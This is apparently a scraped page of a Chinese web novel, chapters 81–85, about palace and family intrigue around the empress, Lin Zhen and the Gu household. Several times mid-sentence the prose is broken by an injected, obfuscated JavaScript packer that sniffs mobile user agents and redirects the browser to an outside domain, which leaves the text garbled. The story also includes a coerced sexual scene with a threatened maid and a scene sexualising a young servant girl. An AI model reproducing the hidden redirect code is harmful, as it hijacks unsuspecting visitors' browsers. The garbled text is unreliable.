见慕容嫣不为所动,嬛嬛更是担心,万一以后都见不到北辰了怎么办? 天呐!万一陛下喜欢上林臻那个混蛋怎么办! 那自己岂不是也要嫁给林臻了? 陛下在左边,我在右边,伺候着满脸笑意的林臻. 哕! 越想越要吐! 我才不要伺候林臻呢。 如果陛下强来,那我就跑!跑到北辰那里去! 北辰肯定会护着我的! 见嬛嬛半天不吭声,慕容嫣奸笑着偷偷来到她身后,然后突然出手狠狠在她腰间软肉上一掐! “啊!!”嬛嬛惊呼出声,声音中带着几分娇嗔。 慕容嫣嘴角勾起一抹戏谑的笑意,言语间满是打趣。“死妮子,是不是又思春呢?” “奴婢没有.” “没有?哼,朕看你是不见棺材不掉泪!讨打!” 说着慕容嫣双手抓向她的胸口,结果没抓到,只抓住她的肋骨,索性直接改 为挠痒痒,十指疯狂抓挠,逗得嬛嬛笑声连连,最终竟笑得无力,一头栽倒在柔软的床榻之上, “啊哈哈哈哈!陛下!哈哈哈哈,奴婢知错了嘛!” “陛下留情,陛下手下留情嘛,哈哈哈哈。” “小妮子,看你还敢不敢发呆!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789213|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “不敢啦,奴婢不敢了嘛!” “呼呼呼” 两女玩闹得有些累,便都躺在床榻上大喘气。 按照礼制,嬛嬛这个身份只要沾一下龙榻,那就是死罪。 慕容嫣对此全然不以为意,两人也曾无数次共眠于一张榻上, 夜色渐浓,殿内烛光摇曳,终至熄灭,将一切沉入无边的黑暗。 没有吩咐,任何人不得到后殿寝宫里,违者立斩。 因此幽深的夜里没有太监宫女敢来添烛。 慕容嫣索性褪去沉重的龙袍,将其随意丢在一旁,只留下一袭轻纱覆盖于那曼妙的身躯之上,对身边的嬛嬛说道:“嬛嬛,你说林臻这个人到底怎样?” 嬛嬛没好气地翻个白眼。 就知道陛下移情别恋了! 哼! “林臻就是个乱臣贼子,那首诗便是他蠢蠢欲动的铁证!” 慕容嫣全当她是对林臻有偏见,并没有想起来是因为顾北辰。 “非也。””她轻轻摇头,语调中带着几分温婉:“林家三代忠烈,位高权重。虽然林震仙不愿交出兵权这件事有威胁到朕,但朕相信他不会有造反的心思。而深受林震仙教育的林臻,肯定也是个愿为江山社稷倾尽所能的良臣。” “陛下!”嬛嬛有些恨铁不成钢地说道:“林臻此人心术不正,他为了钱财要让您封赌王的事情您忘了吗?今天诸国使臣那狂笑的样子,您也看见了,这一切都是拜林臻所赐!” “赌王不过是个虚名而已,无碍大局。”慕容嫣轻轻摆了摆手,神色间流露出一丝不以为然,“但林臻每月能为朕献上万两雪花银,这可是实实在在、能解燃眉之急的好事!” “陛下,林臻那厮到底给您下了什么迷魂药?让您这么宠爱他?您别忘了,他现在可是摄政王世子,手握兵权!一旦他有了反心,光靠您的威严可是镇不住的!” 夜色如墨,月光狡黠地穿透薄纸窗棂,斑驳陆离地洒在屋内,为这静谧的夜晚添了几分幽深。 嬛嬛眉宇间拧成一团焦虑,而慕容嫣的目光在月光下显得格外柔和,回想着与林臻相处的点点滴滴。 好像他并没有自己最初以为的那般不堪嘛。 尤其是这几日,他所做的每一件事都荒诞无比,言行举止都那么玩世不恭,可现在竟一点也不让人讨厌,甚至还有几分喜欢。 真是奇怪啊。 慕容嫣翻来覆去睡不着,室内的气氛却因她思绪的流转,变得微妙而复杂。 想到半夜,她突然坐起来一拍嬛嬛的屁股! “啪!” “嬛嬛,明天召林臻入宫,任太子少保。” “朕要亲自考校考校他!” 第81章 呵呵呵~还是我的宝贝最贴心了 “人呢!人到底去哪了!?” 顾云霆面色铁青,对着管家顾南山怒吼,声音中夹杂着难以遏制的焦虑与愤怒。 大厅之内,一众仆役跪得整整齐齐,身体止不住地颤抖,丫鬟们更是眼眶泛红,轻轻抽泣,不敢吭声。 这都一大天了,顾北辰还没回来,连是死是活都不知道,这对于顾云霆而言,无异于心头被压了一块巨石。 顾南山拱手说道:“老爷。少爷中午出门时曾交代说不用找他,想来他是有自己要办的事情,我等还是稍安勿躁,静候佳音为好。” “稍安勿躁,亏你说得出口!那可是我唯一的儿子!现在生死不明,你让我稍安勿躁?” “老爷,少爷说话办事向来极有分寸,老奴保证,他绝不会无缘无故的失踪,肯定是另有原因。” “那你倒是说出来个原因让老夫听听啊!一天天就知道在此推诿搪塞,有这闲功夫还不赶紧把家臣都散出去找!!” 顾云霆气得浑身直打摆子。 主子丢了,做下人的一个也不知道去哪,这成何体统! “是。”顾南山表情冷漠,咬牙答应一声,起身走了出去。 他对顾云霆实在是太失望了。 儿子才半天不见人就急成这个样子,全然失去了应有的沉稳与内敛,日后怎成大事? 今天林臻又在朝堂之上大放异彩,说不定已经博得陛下好感,如此一来顾家更没有了存在下去的意义。 看来必须得进行下一步计划了,否则顾家灭亡之日必定会连累自己。 顾南山刚走出去,丫鬟仆役也都散出去找顾北辰了。 谁知就在这个时候顾北辰竟然脚步踉踉跄跄的回来了,他眼睛里全是骇人的血丝,失魂落魄地跨入家门。 顾南山见状连忙迎了上去,目光在他身上来回打量:“少爷你去哪了!为何没有参加陛下的寿宴?” 顾北辰勉强挤出一抹苦笑,摇了摇头,嘴唇翕动,却终究未吐露半字。 因为他根本说不出口。 难道要说自己为了和刘书瑶私会,结果被两个死了娘的王八蛋给堵在酒楼出不去? 这也太丢人了。 更何况他前天才答应顾云霆,以后再也不见刘书瑶。 “不过是些个人的琐事缠身,故而耽搁了时辰。” 顾南山听他这话,便知肯定是发生了什么。 但见他讳莫如深,自己也不好多问。 最终,只能无奈地摇了摇头,叹道:“唉,也罢 你快去见老爷吧他等你都等急了。” “嗯。” 顾北辰踏着沉稳却略显沉重的步伐缓缓步入大堂之内一眼便望见了父亲正气愤地端坐于堂中脸色阴沉如墨。 那一刻他的步伐仿佛有千斤之重每迈出一步都需要巨大的勇气。 心中五味杂陈既不知如何坦然面对父亲的质问又忧虑着如何弥补因自己而造成的损失挽回家族颜面。 顾云霆抬眼看到儿子站在面前震怒之下猛地一拍桌面发出“砰”的声响:“砰!逆子还不滚过来!” “父亲.”顾北辰跨过门槛一步步走近最终立于父亲面前。 却只是低垂着头沉默不语满腹的心事与歉疚。 顾云霆厉声喝问:“你到底去哪了?为何不参加陛下寿宴?你知不知道林臻今天在金銮殿大放异彩连陛下都赞不绝口!我顾家多年累积于皇家眼中的荣光皆因你的缺席而荡然无存!以后林家会更加猖狂更会骑在我们脖子上作威作福!” 儿子低眉顺眼轻声解释道:“父亲息怒孩儿去处理了一点私事 顾云霆眉头紧锁语气中满是不满与疑惑:“私事?你什么私事?你还有什么私事是我不知道的?难不成你又去偷偷见了刘家那个骚妇?” “请恕孩儿不能说.”顾北辰低着头一副任打任骂也绝不松口的样子。 “你!” 顾云霆见状更是气不打一处来。 儿子平时可不是这个样子的。 他自幼便才华横溢志得意满视世间豪杰若草芥步履间尽显龙骧虎步气概非凡。 可今天却像只斗败的公鸡羽翼低垂精神萎靡提不起一点精神。 “北辰你告诉父亲到底发生了什么!” “父亲孩儿累了想回去休息了。” 私会刘书瑶的事情顾北辰是无论如何也说不出口。 也幸好今天的事情没有任何人知道。 否则他的脸包括顾家的脸面可就都彻底丢尽了。 他也不想想以林臻猛踹瘸子那条好腿的性格会放过这个机会吗? “你不说便罢了但是你记住!这次我们顾家损失大了!” “哼!”顾云霆冷哼一声拂袖而去步出正堂心中愤懑难平他需要去找小妾泻泻火否则今天非气坏不可。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789214|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>顾北辰则是缓缓转身步履蹒跚地朝卧房行去神思飘忽不定。 一直站 在门口偷看的顾南山,目光闪烁不定,几经变幻后悄然离开。 时间来到深夜,月光透过纸窗照耀在顾云霆的卧房当中。 他的第六房小妾名叫李蕊,是手下生产贩卖陶瓷的商贾之女。 李蕊生的妩媚娇柔,有着不属于这个世界的整容脸,尖尖的下巴,M唇,大眼睛,眼睫毛像草坪似的茂盛浓密,腰细得像水蛇,胸大的像骆驼。 这样的女子是所有人眼中的另类,更是所有男人争抢的房中极品。 近一个月来,顾云霆每天都在她这里睡觉,丝毫不管其他小妾的哀怨。 此时李蕊那张欲求不满的脸上写满了关心与温柔,他轻轻抚摸着顾云霆的脸颊说道:“老爷,妾身看您今天兴致不高,可是有心事?” 没办法,就算心里对顾云霆的能力不满也不敢说出来,甚至还要装出一副非常享受的样子。 讨男人开心嘛,她最擅长了。 顾云霆轻轻拍着他的手,沉声说道:“老夫刚才的表现还行?” “咯咯咯,老爷乃人间第一高手!妾身现在还没缓过劲来呢。”李蕊都对自己说话感到恶心。 然而顾云霆还真以为自己是什么房中大王呢,笑着说。 “呵呵呵,满意就好。唉,只是北辰这孩子近日来心绪繁重,竟连陛下的寿宴都未曾露面,反倒是让那林臻小子捡了个大便宜,好生风光了一回。本来林震仙就想把他儿子送进宫里和北辰争宠,现在看来,这件事情基本板上钉钉了。” 李蕊轻轻把顾云霆的脑袋抱过来放在自己胸口,柔声说:“老爷处理的都是国家大事,妾身不懂。妾身只懂得如何让老爷舒服~” “呵呵呵~还是我的宝贝最贴心了。”说着话顾云霆仰头一口亲在李蕊的脸蛋呢。 李蕊眼中闪过一丝不易察觉的厌恶,随即又换上谄媚的表情: “老爷,虽然妾身不懂,但是妾身可以当一个很好的倾听者,您可以把心事说出来,这样就会舒服很多。” “嗐,有什么好说的。”顾云霆摆摆手,“累了,快睡觉吧。” 说完以后很快,顾云霆便有鼾声传来,李蕊偷偷下床,拿出纸笔写下几个字,然后又回到床上。 第二天一早,顾南山看着手里的“一切正常”四个字,陷入沉思。 第82章 先躺下,我慢慢告诉你 “哈哈哈哈,管家,烫壶好酒!老夫今天要一醉方休! 有人欢喜有人愁。 林震仙听完林臻的解释,不禁开怀大笑,随即爽朗地吩咐管家上酒。 爷孙俩悠然坐在静心园内的凉亭下,皓月当空,微风轻拂,丝丝凉意穿透了夏夜的燥热,为这方小小天地平添了几分宁静与惬意。 浣碧在一旁细心侍候,举止温婉。林安则手捧刚烫好的美酒,步履稳健地走来。 爷孙俩就着猪头肉和几碟精致酱菜,开始推杯换盏起来。 林臻喝了口陈年的黄酒,砸吧砸吧嘴。 “啧,还真是好酒啊,酒香浓郁而不腻,醇厚中带着丝丝甘甜,纯正无丝毫苦涩,极品! 这是他第一次喝到正宗的黄酒,与后世的那些所谓女儿红、花雕相比,少了份历经岁月沉淀的醇厚与芬芳。 话又说回来,像林臻这种还没有熬到中级干部的年轻人,也喝不到正宗的陈年花雕酒。 因为没人给他送,他又买不起。 再看林震仙,老爷子豪迈不羁,一连三碗下肚,面不改色。 算上宫宴里喝的竹叶青,这已经有两斤了,真真是海量。 他轻轻搁置酒碗,再次爽朗大笑:“哈哈哈哈,打死顾云霆也想不到,他那宝贝儿子竟然是被三个毛头小子给绊住了脚!看来这个暗亏顾家是吃定了。 林臻亦是嘴角勾起一抹弧度,笑声低沉而愉悦:“呵呵呵,那是当然,以顾北辰那孤傲的性格这等事他是断不会向外吐露半句的。他若不言,顾家这亏便只能往肚子里咽。 “不过你小子也是够狠的,连自己八抬大轿娶进门的正房妻子都利用,日后不会也动起心思,拿我这把老骨头来设局吧? 林臻眼中寒芒一闪:“祖父,刘书瑶在我眼里就不是什么妻子,而是敌人。 “敌人?为什么?就因为他喜欢顾北辰,所以你因爱生恨?林震仙眼睛里满满都是八卦之色,和村口偷听别人聊天的老太太似的。 林臻偷偷翻个白眼,好在夜色正浓看不清楚。 其实对他来讲,在这整部书里面最痛恨的人并不是顾北辰,而是刘书瑶。 林臻曾对她倾注了所有温柔,不惜舍弃身为王府世子的骄傲与矜持,对她呵护备至,甚至还恳求林震仙帮助刘家崛起。 刘书瑶一边心安理得地享受着林臻的好,另一边又爱着顾北辰,在婚后还当起了顾家的间谍。 若不是林臻穿越过来,她现在已经是王府内院的 大管家了就和贾府里的王熙凤一样。 她会把王府里发生的所有事情包括有什么人来见过林震仙谁是正大光明来的谁是偷偷来的;林震仙今天都干了些什么林臻又干了些什么;王府月收入多少有那些黑幕黑账有那些空子漏洞可以钻等等等等她都整理的一清二楚然后报告给顾北辰让后者从中做局像蛆似的一点一点侵蚀林家。 最终林家崩塌林震仙战死沙场林臻被做成人彘。 可以说 拿刘书瑶做局甭说只是勾引顾北辰就是让她去死林臻都不会有任何心疼。 因为她只不过是个厕所罢了。 毫不夸张地说这样的厕所林臻挥挥手能娶回来一万个。 搞笑。 王会缺女人么? 林臻喝了口黄酒嘴角微扬略带玩味地说道:“啧倒不是因爱生恨。孙儿认为大丈夫应不拘小节。区区一个女子根本不值得我为之付出。我要对付的是整个天下!” “说得好!不愧是我林震仙的孙子只不过.以前老夫怎么没发现你这么有才华?又会算学又会作诗的你什么时候偷学的?” 林臻暗暗腹诽。 恐怕这才是他今天在酒宴散过之后还找自己喝酒的真正目的吧? 个老狐狸。 “其实孙儿一直都会这些年不过是韬光养晦而已。” “屁就你这小家雀还想蒙骗老夫?”林震仙明显不信但林臻也不想多解释。 爷孙俩的酒杯频繁相碰气氛愈发热烈。林安适时地取来两件厚实的大氅一件轻轻搭在了林震仙的肩头另一件则递给了浣碧。 浣碧接过大氅先是细心地抖落了上面的微尘随后动作轻柔地将它披在了林臻的肩上声音温婉:“世子这已经是第六杯了莫要喝醉了。” 这一幕被林震仙看在眼里心下已经明白了些什么。 恐怕浣碧对臻儿才是真感情只是这姑娘身为奴籍命运多舛着实可惜。 林震仙清咳两声:“咳咳小子老夫不管你喜不喜欢刘书瑶王府的香火是不能断的。哪家的姑娘不重要紧要的是你得赶紧给老夫添个重孙儿出来。趁着老夫还有口气也好帮你照看照看。” 林臻以为他又要说春雷呢赶紧摆摆手:“祖父您要是想提春雷的话就免了吧!” “臭小子,你想娶人家春雷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789215|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,人家还不干呢!此番礼部正忙着筹备陛下的大婚,春雷已是首批被选入宫的嫔妃之一了。” “噗” 林臻想到司马春雷那个大胖姑娘压在慕容嫣身上的场景,便忍不住发笑。 林震仙问道:“你笑什么?” 林臻连忙收敛笑意,故作正经地答道:“没有,孙儿只是在想陛下真有福气。” “别以为老夫不知道你安的什么心,春雷丑是丑了点,但心地善良,嫁给陛下更是天造地设的好姻缘。” 真是好姻缘啊。 好,甚好! 只要不嫁给自己,就特别的好! 林震仙始终没问林臻把楚惜灵留在皇宫是什么布局,想来也和林臻考虑的一样,那就是让楚国有个牵绊,不至于贸然动手。 夜色已深,林震仙吃掉最后一口猪头肉,披着大氅回到自己房间,临走前撂下一句话:“小子,别以为你刚才翻白眼老夫没看到,下不为例。” 林臻:. 真是老狐狸啊,眼睛真毒。 浣碧给林臻紧了紧衣服:“世子,我们也回去吧。” “嗯。” 回到卧房的时候,刘书瑶和小翠都在。 两人的神情紧绷,眼中闪烁着对林臻深深的憎恨。 通过顾北辰的话,她们也明白过来,这个局就是林臻设计的,目的是不让顾北辰参加皇帝寿宴。 太阴险,太歹毒了! 怎么可以这样对我的顾郎呢! 就在这时林臻推门而入,刘书瑶猛地站起,怒目圆睁,厉声质问:“林臻!你为什么要这么对我!” “呵。”林臻轻蔑地笑了一声,把大氅递给浣碧。 后者识趣地接过衣服出去了,林臻的脚步未停,边走边用低沉而充满威胁的语调说道:“才出去一天翅膀就硬了?敢这么和我说话?” “我”刘书瑶望着林臻那双仿佛能吞噬人心的眼眸,心中一凛,不由自主地后退了一步。 情绪激动之下竟然忘了眼前的林臻早已不是当年那个对她百依百顺的舔狗,而是手里攥着刘家生死的恶魔! 更何况他还会打女人,每次都把自己屁股打得通红! 刘书瑶退着退着发现身体已经靠墙。 她怔了怔神,绝望地看着那个已经抓住自己胸口的男人。 “你你到底.为什么这样做。” “躺下,我慢慢告诉你。” 第83章 上官婉儿必须嫁给林臻 林臻蛮横地将刘书瑶扔在床榻上像浩克似的撕碎自己衣服扑了上去过程中还不忘叮嘱小翠:“你要是敢跑就死定了。” 刚刚转过身的小翠吓得立刻止步怔怔地回头看向床榻就见林臻不管不顾已经进入正题。 她绝望地闭上双眼等待着那份属于自己的“临幸”。 且不说林臻如何上演色情低俗的争斗我知道你们不爱看. 所以话分两头来讲讲丢了孙女的上官墨轩。 老爷子回到驿馆时还在震惊林臻的诗才别人都在收拾行囊准备归国只有他愣愣地坐在椅子上任何随身老奴在身边穿梭。 “我花开后百花杀。真是好诗啊 身为文人能在有生之年听到这样霸气绝伦的诗句实在是一件幸事。 可这样的诗却出现在乾国一位纨绔子弟身上这就让人不知该是喜是忧了。 上官墨轩是秦国人虽然帮楚国的忙但此刻自然也在秦国使臣的驿馆之中。 秦洛书带着两名使臣走了进来脸上有几分焦急之色推开收拾行囊的老奴对他说道:“阁老小子斗胆来问您不会真的要遵守赌约将孙女嫁给林臻那个纨绔吧?” “阁老您要三思啊!婉儿姑娘可是即将要入宫当皇妃的!” “如此一来陛下岂不震怒?” 两名使臣也开始劝慰。 反观上官墨轩好像并没有他们那样焦急一双阅尽沧桑的眼眸中透着难以言喻的清澈与明悟:“老夫输了赌局岂有不履行之理?” 秦洛书追问道:“那陛下那边如何解释?” “实话实说该怎么解释就怎么解释。再者陛下后宫佳丽三千会因为其中一个而折了老夫几十年的老脸吗?” “那这样岂不是太便宜林臻那小子了!” “就是!他林臻一个纨绔弟子何德何能迎娶您的孙女?” “要我说我们就当什么事情都没发生过量他林臻也不敢来大秦要人!” “放肆!”上官墨轩眼帘微垂眸中精光一闪随即一声沉喝。 “老夫要嫁孙女的事情诸国使臣都看到了可以说是世人皆知!何来反悔之理?再者林臻不管是长相还是家室都是上上之选又才华横溢风流倜傥。老夫的孙女嫁给他也不算辱没。尔等不必多言老夫回去后自会像陛下说明此事。” “可是.”秦洛书 还想说些什么。 “三殿下,老夫知道你对婉儿的情愫,可就算不嫁给林臻,你也没办法娶她。不如早日回头,以免犯下大错。” 原来秦洛书竟然是大秦三皇子! 秦洛书苦笑一声:“阁老教训的是,可我还是觉得将婉儿远嫁到乾国这事儿不妥,更何况林臻是有妻子的。” “有何不妥?” “乾国虽然表面上人多强盛,但自从老皇帝驾崩后已经是楚国的嘴边肉,我敢打赌,不出一年,楚国一定会对乾国用兵,到时候兵临城下,婉儿不就危险了么。” “呵。”上官墨轩冷笑:“你以为老夫看不出楚国的狼子野心?现在是乱世,人不管在哪里都会有危险,老夫不能因为畏首畏尾,而背上无信的骂名。” 上官墨轩眼睛里有光闪出,好像十分期待后面发生的事情:“更何况老夫观林臻绝非凡夫俗子,楚国想动乾国,没那么容易。做妻也好,做妾也罢,这孙女,老夫是嫁定了!” “这好吧。”事已至此,秦洛书也不能再说什么,只好躬身一礼,带着使臣回到自己房间。 十年后,上官墨轩临终前见到了林臻,握着他的手说道:“这辈子老夫做得最正确的事情,就是将婉儿嫁与了你。” 当然,这是后话了,这里暂且不表。 整夜的歌舞升平后,大乾京城恢复了往日的安静。 晨钟敲响,城门大开。 百姓开始熙熙攘攘地上街,农户排着队进城卖粮卖菜。 听说辽东洪灾,现在朝廷在大力收购粮食,有聪明的人家悄悄将粮食价格抬高了一文,想着今天会卖个好价钱。 却不知道粮商早已经把粮价压了下去,他们的贵粮根本没人要,迫不得已又降价销售,最后一股脑都便宜了那些奸商。 唉,百姓想赚点钱怎么就那么难呢。 人伢子继续卖儿卖女,这几天他们收购的孩子大多都是从辽东贩卖过来的,有几个还不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789216|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 错,正在人伢子门市前被人挑选。 贩夫走卒依旧在大街小巷里穿梭,吆喝着自己的货物。 宫里的无舌来到王府,宣林臻入宫。 世子大人又不用上朝,所以这会子林臻还没起来呢。 林安进来通报完之后好奇地问坐在床边的林臻:“世子,老奴怎么没见到浣碧姑娘?” 林臻习惯性地看了看自己床边的小椅子,发现浣碧确实不在。 奇怪,以往这妮子都是整夜守着自己,今天干嘛去了? 他摇摇头:“我也不 知道。” “哦,那老奴来给世子穿衣服吧。” 林臻很想骂一声滚。但想想林安也是出于好心,更何况他是府里大管家,这么驳人家面子,以后偌大的后院也不好管理。 于是淡淡的道:“不用,你出去吧。” “是。” 林安走了,林臻穿着亵衣出门去找浣碧。 不知道怎的,以前她天天在身边还不觉得有什么,突然有一天不在还挺不习惯。 男人啊,就是贱。 院子里,晴雯正在凉亭里缝制手帕,见林臻出来,立刻放下活计迎上来,笑意盈盈地说道:“世子,您醒啦。” “嗯,浣碧呢?” 讨厌的世子,一张嘴就是浣碧浣碧的,我哪里比浣碧差吗? 晴雯有些吃味地说道:“浣碧姐姐,在前院陪客人呢。” “陪客人?” “是,她老家那边来了个老婆婆,寒酸得要命,正缠着浣碧姐姐要钱呢。” 明白了。 穷亲戚进宅,无事不来。不是要钱,就是敛财。 见林臻没说话,晴雯趁机露出一丝狡黠的笑容:“世子,奴婢给您穿衣服吧。” “好。” 林臻没多想,走回房间里。 晴雯欢快地拿着蜀锦长袍进屋,先是把林臻的亵衣扒下来。 林臻每天都是这么赤条条地被丫鬟伺候,早已经习惯了,没想到晴雯竟然眼睛一眨不眨地盯着自己那里猛看! 边看还边说:“世子.你那里好奇怪呀!” 第84章 趁浣碧不在,晴雯耍流氓了! 奇怪? 林臻低头看了看问道:“哪里奇怪啊?” “为什么和奴婢的不一样呢?” 林臻:. 晴雯比浣碧还小一岁不懂这些事情也很正常。 但连这个都不知道是不是也太扯淡了? 林臻心下了然。 这小妮子肯定是装的。 “少废话赶紧穿衣服陛下还等着我呢。” 晴雯瞪着好奇的大眼睛就像个小萝莉那般踮着脚问:“哦可是世子.奴婢能碰碰吗?” “不能!” “哦那浣碧姐姐为什么可以呢?” “你怎么知道的?” “昨天浣碧姐姐给您穿衣服的时候奴婢看到了呀!您还掐了掐她的胸脯呢!” “这” 这回轮到林臻尴尬了。 他甚至都不知道该怎么去解释这件事情因为越解释越乱。 这妮子肯定是装的肯定是!她就是想逗弄自己好顺势上位! 我才不上你的当呢! 林臻假装的虎着脸说道:“现在本世子命令你立刻穿衣服!” “是奴婢遵命。” 晴雯小心翼翼地一件件给他穿衣服手臂却不经意间总是碰一下。 嘶林臻难得的老脸一红心说:“这个小妮子胆子也太大了回头非得好好教训教训不可。” 好不容易把衣服穿完他几乎是头也不回冲出卧房独留下满脸窃喜的晴雯。 无舌宣旨过后已经走了时间尚早 还没进去就听到浣碧的声音从里面传来。 “姥姥府里现在情况很不好真的帮不上你什么趁着天早您赶紧回去吧。万一让大管家看到又该数落我了。” “你这死丫头!你现在是锦衣玉食什么都有了你弟弟还在家里啃高粱壳呢!你就这么见死不救?我不管今天你不给点好处我这把老骨头就不走了!” “你怎么可以这个样子呢!当年家里穷是你们把我卖进人伢行。幸亏大管家眼尖才把我领回王府否则我今天哪里还有命在?如今看我能吃饱饭了又赶紧来这吸血!” “孙女啊我这也不是没办法嘛眼看着冬天就来了今天地里收成不好你再不施舍点我们这一家老小可怎么过冬啊!” “可是我也没有啊!” “你是世子的大丫鬟我都听说了你就偷偷地从世子身上拔根头 发下来都比我们的腰粗!” 林臻听到这一愣。 啥玩意? 拔我头发? 浣碧宁可把自己头发都扒光也舍不得动我一下。 这什么姥姥啊不行得管管。 林臻走进殿内发现浣碧正坐在椅子上一身脏兮兮粗麻布衣服的白发老太太正在她身边苦苦哀求正是刘姥姥。 浣碧立刻喊道:“世子!” “嗯。”林臻点点头目光看向刘姥姥。 后者尴尬地笑了笑两手颤抖不知道放哪里放最后紧握在胸前给林臻作揖:“额呵呵呵世子大人万福。” “世子这是奴婢的姥姥从老家过来的.” 浣碧担心林臻会生气之类的于是说话的语调很小心也很紧张。 林臻却不以为意地摆摆手:“没事姥姥今天是做什么来了?” 刘姥姥面对林臻这样的顶级大佬说话也不由自主地打哆嗦:“额世子您有个小舅子正准备结婚差点钱所以.我就来求求碧儿看看能不能借点我们保证还!” “姥姥哪来的小舅子啊!您可千万别瞎说!” 刘姥姥不敢对林臻凶但凶起浣碧来是一点心理负担没有。 “你这丫头你都是世子房里人了那你弟弟不就是世子的小舅子嘛!” “这都哪跟哪啊?你再瞎说我就要哄你出去了!” “你敢!你老子娘都是我生的你还敢不孝?” “我”浣碧都快气哭了一双杏眼水汪汪的。 林臻把她搂进怀里拍了拍她的纤腰:“没事你去我账上给姥姥支取五十两银子就算是给小舅子添喜吧。” “世子.” 浣碧难以置信地瞪大眼睛小鸟依人地抬头望着他。 这一刻林臻的身形再次高大起来! 这就是自己喜欢的男人啊! 有担当敢作为。 我爱死他了! “不过.”林臻眼睛瞬间变得犀利起来看得刘姥姥浑身一震:“以后不得再骚扰浣碧 像刘姥姥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789217|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样的平头百姓五十两银子足够他们好吃好喝生活好多年的。 刘姥姥激动得手舞足蹈连忙跪下:“是是是我这就给世子磕头!给您磕头了!” 林臻却一转身根本不受她的礼。 对浣碧说道:“你去拿吧然后赶紧打发走再有这样的事情要告诉我。” “奴婢谢 世子。”浣碧小脸红扑扑的,可见是感动得够呛。 林臻的温柔也在这一刻被点燃:“你我之间还这么客气干什么。” 言罢便淡笑着离开。 浣碧望着他伟岸的背影,眼睛里都是小星星。 林臻之所以给钱,是看在浣碧这么多年尽心尽力照顾自己的份上。 更何况浣碧没有自作主张直接给她钱。 她知道,就算拿了账上的钱林臻也不会计较,但她依旧坚持原则不动摇,即便对方是自己的亲姥姥也是如此,这更是让林臻打骨子里喜欢。 这样的女人才值得男人呵护,才值得男人所爱。 虽然林臻已经极力地接受古代的一切,但心中一直都没有主仆观念这一说。 只要自己喜欢,奴籍也可以当主子,就像浣碧一样。 她是早晚要明媒正娶的。 照例点齐哼哈二将,出门直奔皇宫。 二狗今天情绪不高,一路上一句话都没说。 他不说,林臻也懒得问,想来自己能处理。相反,一直对林臻抱有偏见的韩忠,现在却略有改观。 以前他固执地认为林臻就是个纨绔子弟,不学无术,吃喝嫖赌,还欺负百姓,打架斗殴。 自己来到他身边就是充当马仔的,还在帮他干那些脏事。 可是直到现在,拎着也没有让他做任何事情,相反,他的工资提高了,生活水平也上去了,前几日林臻竟然还意外地问他家里情况,瞧那意思竟然还有帮助的想法。 这样的世子,不仅与传闻不符,从古到今也不多见。 林臻来到皇宫议政殿的时候,就看到慕容嫣独自一人坐在那里批阅奏折,顾北辰则是脸色铁青,眼眶黢黑的站在她身边。 想起这些事情就觉得有意思,林臻没忍住笑了笑说道:“臣,参见陛下。” 第85章 朕非生个太子出来给他们看看! 顾北辰现在看到林臻就像看到杀父仇人似的一双黑黢黢的眼眶里多时愤怒的火焰恨不得将林臻生吞活剥。 适才慕容嫣问他昨日为何不参加寿宴的事情不管顾北辰怎么狡辩慕容嫣眼里的质疑和厌恶始终没有消散这一切都拜林臻所赐。 “臣参加陛下。” 